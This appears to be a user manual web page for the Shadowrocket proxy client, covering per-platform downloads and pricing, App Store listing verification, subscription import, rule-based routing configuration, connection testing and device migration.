Shadowrocket Official Manual

Shadowrocket User GuideGet the App and Configure Rules on Any Platform

A cross-platform rule-based proxy client for importing existing subscriptions and rule-based routing. iPhone / iPad cost $2.99 as a one-time purchase on the App Store; Mac, Windows, Android and Linux versions are free.

Current version Loading · iPhone / iPad: $2.99 once; Mac, Windows, Android and Linux: free

First-time setup: subscription import and connection steps →

Get it by device

Shadowrocket for all platforms

Check your operating system and chip first, then follow the download and first-launch instructions for your device. iPhone / iPad cost $2.99 once on the App Store; Mac (Apple silicon and Intel), Windows, Android and Linux versions are free. Installers are available from this site's download page.

iPhone / iPad

App Store: $2.99 once; other platforms are free. The two devices share one purchase. Check the App Store product page for system requirements. Verify the product name, developer and app ID, then use your own Apple ID to get the app. If you have already purchased it, check your purchased items before buying again.

Mac

Free · Apple silicon / Intel; iPhone / iPad: $2.99 once. Check About This Mac for the chip or processor name, then choose the matching dmg. If you see “Cannot verify developer” on first launch, confirm the download source, then look for “Open Anyway” under Privacy & Security. Follow the download page for other prompts.

Windows

Free; iPhone / iPad: $2.99 once. The download page provides a 64-bit exe installer. Save any configuration you are editing before installation. If SmartScreen appears, first confirm that the file came from this site's download page, then select “More info → Run anyway” to continue. Follow your administrator's installation policy on managed devices.

Android

Free; iPhone / iPad: $2.99 once. Use the arm64 apk and allow the browser or file manager that will install it to “Install unknown apps.” You can revoke this permission after installation. If the download does not work inside WeChat, open this site's download page in your system browser and follow the instructions there.

Linux

Free · deb / rpm / AppImage; iPhone / iPad: $2.99 once. Choose a package format that matches your distribution's package manager; do not infer compatibility from the file extension alone. AppImage files need execute permission before first launch. The download page lists installation methods, permission prompts and related commands for deb and rpm packages.

Settings and usage

Rules, connections and configuration

Understand what each setting does before changing parameters. Server details determine how to connect, Global Routing selects a forwarding mode, and rules in Config determine which policy handles each request. Check these separately.

Rule-based routing and Global Routing

In Global Routing, Config, Proxy and Direct select different modes. To handle requests by destination, choose Config and confirm which file is enabled in Config. Rules are usually matched in order, so place specific conditions before broader ones. PROXY, DIRECT and REJECT are different policies; example.com in the sample is syntax only, not a usable server. When troubleshooting, check the current mode first, then inspect the matching rule.

  • Config: route traffic according to the rules in the current configuration.
  • Proxy / Direct: compare behavior through a proxy connection and a direct connection.
  • Back up the file before editing, then check rule order and the final FINAL rule.
DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,PROXY

First connection steps

From existing details to connection testing

The steps below assume you already have your own subscription or server details. Start with the minimum working configuration, then add automatic connections and complex rules. Avoid changing the server, DNS and routing settings all at once, or it will be difficult to identify the cause of a problem.

Step 01 · Import

Add a server or subscription

In Home, use Add Server to add an existing server. Choose the Type and enter fields exactly as provided. If you have a subscription, open the relevant Subscribe option in the guide and save the link. Before scanning a QR code, confirm it contains your own server details; before importing from the clipboard, make sure the content is complete. After saving, return to the SERVER group, check that the entry appears and its label is easy to recognize, then select the server you want to use.

If the list is empty, first determine whether the subscription could not be fetched or was fetched but contained no parsable entries. Repeated imports may create duplicates and will not correct an invalid address. Check whether the link was truncated or has extra spaces, then verify the access credentials and validity. Do not include a complete link containing credentials in a public screenshot.

Step 02 · Routing

Check Global Routing and Config

For rule-based routing, select Config and confirm the currently enabled file in Config. Proxy and Direct can help distinguish whether an issue occurs on the proxy route or through a direct connection, but they do not switch servers. Manually added server records do not automatically generate rules suitable for every scenario. Understand the purpose of the existing configuration before deciding whether to edit it.

PROXY in a configuration is a policy keyword, not a server address; DIRECT means connecting to the destination directly through the local network. Rule order, DNS settings and LAN-related entries all affect the result. For your first changes, check only what is necessary, keep a copy of the original configuration and avoid combining rule fragments from different sources in one file.

Step 03 · Verify

Connect and test real requests

Turn on the connection switch at the top of Home. On first use, read the system prompt requesting VPN configuration permission and continue after confirming. Run Connectivity Test, then open a familiar webpage to verify access. An enabled switch only indicates a change in connection state; it does not confirm that the server, rules, DNS and destination service have all been verified.

If the test fails, check the local network, server fields, selected server, Global Routing and Config in that order. Change one item at a time and test again. If only one app has a problem, record its error and the conditions in which it occurs. Reproduce the issue separately on Wi-Fi and cellular networks if it works on one but not the other. Set up On Demand only after manual testing, so automatic triggers do not interfere with troubleshooting.

Product and availability

Verify the app, purchase and restore access

Shadowrocket Docs is the Shadowrocket official website and manual. Verify the store listing, distinguish the client from network services, and save your own configuration before downloading or migrating.

  • Developer: Shadow Launch Technology Limited
  • App ID: 932747118
  • iPhone / iPad: $2.99 once · Other platforms: free

Verify the developer, icon and app ID

On the App Store product page, check the name Shadowrocket, developer Shadow Launch Technology Limited and app ID 932747118 in the link. The official icon is a rocket with a blue-violet outline on a white background; this site uses the same official icon in its header. Similar names or graphics are not a substitute for verifying the app, and search-result rankings are not proof of identity. Check the App Store product page for system requirements and review compatibility on your device before purchasing.

Desktop and Android users should choose the installer for their system and chip from this site's download page. Package URLs are provided under this site's /dl/shadowrocket/ path. Do not try to run a file for another platform by changing its extension. If the system blocks a file, confirm its source and type first, then follow the relevant steps on the download page. Do not leave system-level protections disabled just to run a file.

Store availability and Apple ID region

This app is currently unavailable on the mainland China App Store. If you cannot find it, check your Apple ID store region and whether the product page is available there instead of repeatedly searching different names. Account region, payment methods and store availability are related but distinct. If you need to change your region, use the official process in Apple ID settings and review the requirements for account balance, existing subscriptions and Family Sharing first.

On the product page, check whether the button shows a price or a redownload option. The account signed in on a device may differ from the one used for the original purchase. Being able to download the app on another device in your household does not mean the current account has the same purchase record. Check the purchase history before proceeding to avoid mistaking an account issue for an installation problem.

Two price tiers and shared purchase across devices

The iPhone / iPad version costs $2.99 as a one-time purchase on the US App Store; other storefronts show local pricing, so check the purchase page. Mac (Apple silicon and Intel), Windows, Android and Linux versions are free. One purchase covers both iPhone and iPad. Use the Apple ID that made the purchase when restoring it. These two ways to get the client do not include network service fees.

Shadowrocket is a closed-source commercial app. Purchase records in the mobile app store confirm eligibility to get the client; desktop and Android users can download the corresponding version from this site's download page. Users configure protocols, rule files and server parameters for their own environment. Whether a connection succeeds also depends on existing server details and current network conditions.

A client purchase is not a network plan

A client purchase is not a network plan. Getting Shadowrocket does not create a server address, subscription link or working route. This site does not provide, sell or recommend nodes or subscriptions; it only explains how to manage information you already have. The example.com value in the guide is a syntax example, not a real connection destination. Do not share personal passwords, subscription links or QR codes in public discussions.

Once this distinction is clear, troubleshooting is more straightforward: if you do not have your own server details yet, organize the information you already have first; if import works but connection fails, check protocol fields and the network; if the connection works but some requests fail, check rules and DNS. Verify client purchase records, subscription validity and configuration files separately; one does not prove that the others are correct.

Handle reinstalling, device migration and configuration restore separately

After reinstalling or changing devices, find Shadowrocket in App Store purchased items on iPhone / iPad and download it again with the original purchasing account. For Mac, Windows, Android and Linux, return to this site's download page to choose an installer. Restoring the app is not the same as restoring its data: reinstalling the program does not guarantee that the server list, rule files and current selections have also been restored.

Before migration, export and safely store necessary configuration files. If you use iCloud sync, confirm that syncing has completed. On the new device, check the SERVER group, selected server, Config file, Global Routing and On Demand individually. Verify an actual connection on the new device before clearing records from the old one. Before deleting anything, confirm whether it could affect data that is still syncing.

Save your current state before updating

Check for app updates on iPhone / iPad through the App Store. For other platforms, get the current installer from this site's download page. Version information on the page is read dynamically from the download manifest; do not use an article's publication date to determine the current version. Save any configuration you are editing and note the enabled file and server before updating. Afterward, retest a scenario that worked before changing new settings.

If installation or first launch is blocked, read the installation permission instructions. For account or purchased-item questions, see the purchase restoration steps. For subscription updates, duplicate entries and backups, see the server management manual. Follow the section for the specific issue to preserve working settings more easily than resetting everything at once.

Technical notes

Installation and On Demand connections

Find details for specific tasks. Establish a basic connection first, then read the relevant topic. Configuration steps assume you already have your own subscription or server details and do not cover subscription sources.